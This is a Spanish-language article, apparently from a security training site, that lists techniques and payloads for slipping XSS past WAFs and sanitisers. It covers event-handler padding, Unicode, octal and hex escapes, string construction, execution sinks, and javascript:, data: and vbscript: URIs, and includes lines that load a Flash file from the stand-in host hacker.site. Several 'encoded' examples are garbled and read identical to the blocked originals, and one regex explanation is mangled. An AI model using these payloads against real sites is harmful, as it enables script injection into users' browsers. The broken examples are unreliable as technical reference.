¿Cómo hackear un firewall de aplicaciones web (WAF) usando ataques XSS?

Los ataques de scripts entre sitios (XSS) son una variante de inyección de código que involucra el uso de scripts especialmente diseñados en sitios web legítimos con fines maliciosos con el fin de vulnerar la seguridad de aplicaciones web potencialmente afectadas por alguna falla de seguridad conocida.

Dada la popularidad de esta técnica de ataque, muchos investigadores se han especializado en el análisis de esta técnica de ataque y así colaborar para la creación de un entorno de seguridad completo, aunque los actores de amenazas también han publicado sus propias guías para el despliegue de poderosos ataques XSS.

En esta ocasión, los expertos en seguridad de aplicaciones web del Instituto Internacional de Seguridad Cibernética (IICS) le mostrarán los principales vectores de ataque XSS abusados por los hackers, además de algunas de las prácticas más comunes para abordar este riesgo. Antes de continuar, recuerde que este artículo fue elaborado con fines exclusivamente informativos y no debe ser tomado como un llamado a la acción; IICS no es responsable del mal uso que pueda darse a la información aquí contenida.

Según los especialistas, estos son los escenarios más comunes que se pueden encontrar:

  • El vector de ataque XSS está bloqueado por una aplicación o herramienta de seguridad
  • El vector de ataque XSS está desinfectado
  • El navegador filtra o bloquea el vector de ataque XSS

Los expertos en seguridad de aplicaciones web nos mostrarán algunas tácticas para evadir estas medidas de seguridad, empleadas por los actores de amenazas para encontrar nuevos vectores de ataque XSS.

Evasión de lista negra

Esta es una de las medidas de seguridad más populares debido a su facilidad de implementación. La lista negra detecta patrones determinados con el fin de prevenir actividad maliciosa de una forma continua y eficaz.

Inyección de código XSS

La etiqueta <script> es el método principal para ejecutar ataques XSS del lado del cliente, como JavaScript.

Evasión de medidas de seguridad débiles sobre el uso de etiquetas <script>

Los filtros pueden ser débiles y no cubrir todos los casos posibles, mencionan los expertos en seguridad de aplicaciones web. A continuación se muestran algunos ejemplos de cómo sortear medidas de prevención débiles.

<ScRiPt>alert(1);</ScRiPt> - Upper- & Lower-case characters
<ScRiPt>alert(1); - Upper- & Lower-case characters, without closing tag
<script/random>alert(1);</script> - Random string after the tag name
<script>alert(1);</script> - Newline after the tag name
<scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags
<scr\x00ipt>alert(1)</scr\x00ipt> - NULL byte (IE up to v9)

ModSecurity> Rule filtering <script> tags

Por ejemplo, así es como ModSecurity filtra la etiqueta <script>:

SecRule ARGS

"(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>]*>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S]*?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<script[^>]*>[\s\S]*?)"

Obviamente, esta no es la única forma de inyectar código XSS. Hay varias formas de ejecutar el código malicioso, incluyendo el uso de etiquetas HTML y sus controladores de eventos asociados.

<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<object data="//hacker.site/xss.swf">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>

Los eventos son la forma en que HTML DOM agrega interactividad entre un sitio web y sus visitantes; esto se logra simplemente ejecutando código del lado del cliente, mencionan los expertos en seguridad de aplicaciones web.

Casi todos los identificadores de controladores de eventos comienzan con “on” y van seguidos del nombre del evento.

Onerror es uno de los más utilizados:

<img src=x onerror=alert(1)>

Pero hay muchos otros eventos.

A continuación, se muestran algunos ejemplos de etiquetas HTML 4:

<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>

Por otra parte, abajo podremos encontrar algunos ejemplos de etiquetas HTML 5:

<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)> 

Desde el punto de vista de la seguridad de aplicaciones web, la solución es filtrar todos los eventos que comienzan con el carácter ‘*’ para evitar que se utilice este vector de ataque.

Esta es una expresión regular muy común que podremos encontrar:

(on\w+\s*=)

Gracias a la combinación del “dinamismo” de HTML y navegadores, podemos fácilmente pasar por alto este primer filtro:

<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)> 

Entonces, tenemos una “actualización”:

(?i)([\s\"';\/0-9\=]+on\w+\s*=)`

Aún así, todavía queda un problema. Dado que algunos navegadores convierten el carácter de escape en espacio, la s por sí sola no es suficiente para cubrir todos los caracteres posibles.

Veamos algunas soluciones alternativas:

<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)>

Tenemos el primer conjunto de caracteres de control que se pueden usar entre el atributo del nombre del evento y el signo igual (=), o justo antes del nombre del evento:

IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B 

Por otra parte, los navegadores están en constante evolución, por lo que es posible que algunos de los caracteres permitidos ya no funcionen. Puede ejecutarlo en su navegador o ver los resultados de navegadores probados anteriormente. La regla de expresiones regulares válida debe ser la siguiente:

(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C
\x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3
B]*?=)

Filtro de palabras clave

Otros problemas que puede ofrecer un filtro basado en firmas incluyen restringir la ejecución del código de secuencia de comandos bloqueando el uso de ciertas palabras clave como alerta, javascript o eval, mencionan los expertos en seguridad de aplicaciones web.

Métodos de evasión

Existe algo conocido como caracteres de escape en JavaScript que nos permiten ejecutar código en lugar de procesarlo literalmente.

Imaginemos que necesitamos evadir un filtro que evita que la palabra clave de alerta se use en los siguientes escenarios.

Caracteres de escape > Unicode

<script>alert(1)</script> Alert(1) <— Blocked

Aquí vemos la evasión de Unicode sin usar funciones nativas:

<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script> 

El escape de Unicode usando funciones nativas también se puede ver aquí. Tenga en cuenta que eval es solo uno de muchos:

<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script> 

Caracteres de escape> Decimal, Octal, Hexadecimal

Si el vector filtrado está en una cadena que no sea Unicode, podemos usar múltiples escapes:

<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/> 

  • eval (‘\ 141lert (1)’) <—– Escape octal
  • eval (‘\ x61lert (1)’) <—– Escape hexadecimal
<img src=x onerror="alert(1)"/>
<img src=x onerror="alert(1)"/>
<img src=x onerror="eval('\a\l\ert\(1\)')"/> 

  • a <—– Carácter numérico hexadecimal
  • a <—— NCR decimal
  • ‘\ a \ l \ ert (1 \ <—— Personaje de escapes superfluos

Todos los escapes se pueden poner en una línea.

<img src=x onerror="\u0065val('\141\u006cert\(1)')"/>

Construcción de cadenas

Para omitir los filtros, necesita saber cómo construir cadenas. Por ejemplo, la palabra clave de alerta está restringida como de costumbre, pero lo más probable es que no se reconozca “ale” + “rt”. A continuación, los expertos en seguridad de aplicaciones web nos mostrarán algunos ejemplos.

JavaScript tiene varias funciones que son útiles para crear cadenas.

/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
atob("YWxlcnQ=")
17795081..toString(36)

Ejecución

Anteriormente, usamos la función eval para ejecutar código y eventos asociados con varias etiquetas. Los receptores de ejecución son funciones que analizan una cadena en código JavaScript y JavaScript proporciona varias opciones.

La razón por la que necesitamos mirar estas funciones es porque si podemos controlar una de ellas, podemos ejecutar código JavaScript.

A continuación se muestran algunos ejemplos:

setTimeout("JSCode") //all browsers
setInterval("JSCode") //all browsers
setImmediate("JSCode") //IE 10+
Function("JSCode") //all browsers

Una variación interesante del receptor de funciones:

[]. constructor.constructor(alert(1))
.[] <—— Object
.constructor <——Array
.constructor <—— Function
(alert(1)) <—— XSS Vector 

Pseudo protocolos

Javascript es un pseudo protocolo que se refiere al “esquema URI no oficial”. Llamar al código JavaScript desde un enlace es útil. La mayoría de los filtros reconocen la palabra clave javascript seguida de dos puntos como patrón común:

a href="javascript:alert(1)">

Es importante recordar que javascript: no es necesario para los controladores de eventos, por lo que los expertos en seguridad de aplicaciones web recomiendan no utilizarlo. Podemos usar todas las opciones anteriores porque el pseudo protocolo a menudo se ingresa dentro de una cadena.

Veamos algunos ejemplos:

<object data=“javascript:alert(1)”>

javascript <—— Blocked

<object data="JaVaScRiPt:alert(1)">
<object data="javascript:alert(1)">
<object data="java
script:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object
data="javascript:alert(1)">

Además de javascript: también hay datos: (RFC 2397) y un vbscript exclusivo: para Internet Explorer.

Veamos cómo funcionan.

Los elementos de datos pequeños proporcionados con diferentes tipos de medios se pueden incluir en el esquema de URI de datos. Así es como se ve la estructura:

data:[<mediatype>]
[;base64],<data>

El texto / html y el indicador base64 que nos permite codificar nuestros datos son los tipos de medios que más nos interesan. Echemos un vistazo a algunos ejemplos.

Si javascript: está bloqueado:

<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> 

  • PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg == <—– Base64 Encoded
<embed code="data:text/html,<script>alert(1)</script>">
  • data: <—— Blocked

Si data: está bloqueado, lo mejor será utilizar:

<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">

Dado que solo se puede usar en Internet Explorer, el protocolo pseudo vbscript no se usa ampliamente, VBScript ya no es compatible con la zona de Internet en IE11 en el modo Edge. Echemos un vistazo a algunos escenarios.

Para llamar a VBScript, podemos usar vbscript: así como vbs:

<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>

A diferencia de JavaScript, el código no distingue entre mayúsculas y minúsculas hasta la versión 8. Cuando la aplicación cambia la entrada, es realmente útil.

<iMg src=a onErRor="vBsCriPt:AlErT(4)"/>

Si vbscript: está bloqueado, podríamos usar los métodos de codificación habituales:

<img src=x onerror="vbscript:alert(1)">
<img src=x onerror="vbccript:alert(1)">

Sanitización de evasión

En lugar de bloquear toda la solicitud, los sistemas de seguridad a menudo optan por desinfectar los vectores XSS sospechosos. Lo más probable es que estos sean los filtros que encontraremos durante nuestros experimentos.

La codificación HTML más utilizada de algunos caracteres importantes, como (<),> (>), etc. Esto no siempre es suficiente, porque depende de dónde se insertan los datos que no son de confianza en la página.

En algunos casos, el filtro puede cambiar su vector eliminando frases peligrosas. Por ejemplo, elimine las etiquetas <script>.

La regla simplemente elimina la primera instancia de la expresión coincidente, que es un error común con este comportamiento.

Eliminar etiquetas HTML

Por ejemplo, <script> alert (1) </script> se desinfecta correctamente para alert (1), pero dado que la verificación no es recursiva:

<scr<script> ipt>alert(1)</script>

Esta podría ser una solución.

Si un filtro ejecuta pruebas recursivas, siempre debe verificar si se puede usar. Cambiar la secuencia de las filas insertadas puede ser de utilidad.

Echemos un vistazo a un ejemplo.

Es posible que las pruebas recursivas estén bien. Empiezan con una etiqueta <script>, luego la siguiente, y así sucesivamente, sin volver al principio para ver si hay más líneas peligrosas.

El siguiente vector puede ser una solución alternativa:

<scr<iframe>ipt>alert(1)</script>

Por supuesto, si conocemos o podemos adivinar la secuencia, podemos generar vectores más complejos y posiblemente usar múltiples codificaciones de caracteres, como vimos en Omitir filtros de lista negra.

Todo depende del filtro que estemos abordando, mencionan los expertos en seguridad de aplicaciones web.

Etiquetas de escape

Se trata de etiquetas HTML, y las incrustaciones suelen estar dentro de cadenas entre comillas. Para evitar este tipo de carácter, los filtros suelen colocar el carácter de barra invertida () delante de las comillas.

Para evitarlo, también se debe evitar la barra invertida. Considere el siguiente código, donde podemos manipular el valor de randomkey, pero se escapan las comillas:

<script>var key = 'randomkey';</script>

En lugar de randomkey, si ingresamos randomkey \ ‘alert (1); // entonces tenemos una solución. Esto se debe a que la aplicación evita el apóstrofe al convertir nuestra entrada en randomkey \ ‘alert (1); //.

Pero esto evitará solo la barra invertida, que nos permitirá terminar la línea e ingresar el código de advertencia. Uno de los métodos útiles de Javascript es String.fromCharCode (). Esto nos permite generar cadenas a partir de una secuencia de valores Unicode.

También podríamos jugar con el método unescape para escapar de la cadena generada. Por ejemplo, podríamos escapar de la cadena usando el método .source.

unescape(/%78%u0073%73/.source)

Aunque esta función está obsoleta, muchos navegadores todavía la admiten.

Además de esto, existen los métodos decode URI y decodeURIComponent. En este caso, los caracteres deben estar codificados en URL para evitar errores de formato de URI incorrectos.

decodeURI(/alert(%22xss%22)/.source)
decodeURIComponent(/alert(%22xss%22)/.source) 

Estos métodos serían útiles si pudiera inyectarlos en un script o en un controlador de eventos, pero no puede usar comillas porque ya se han escapado. Recuerde que cada uno devolverá una cadena, por lo que necesita un receptor de ejecución (IE: eval) para ejecutar la función.

Proteja sus aplicaciones web contra ataques XSS

Los métodos de filtrado no son una solución por sí mismos, ya que constantemente surgen cientos de formas de evadir los filtros y nuevos vectores de ataque. Los filtros no evitan los ataques XSS; más bien, eliminan una pequeña parte de los patrones de código que se pueden usar en un ataque de estas características; de hecho, en lugar de bloquear el código malicioso, el filtrado resuelve el problema incorrecto al tratar de evitar cualquier llamada que cargue el código incorrecto en sí.

Los desarrolladores y usuarios pueden tener un mayor impacto en la seguridad de aplicaciones web que cualquier filtro, por lo que es importante incrementar la concientización sobre esta clase de problemas a fin de evitar su ocurrencia frecuente.

Para conocer más sobre riesgos de seguridad informática, malware, vulnerabilidades y tecnologías de la información, no dude en ingresar al sitio web del Instituto Internacional de Seguridad Cibernética (IICS).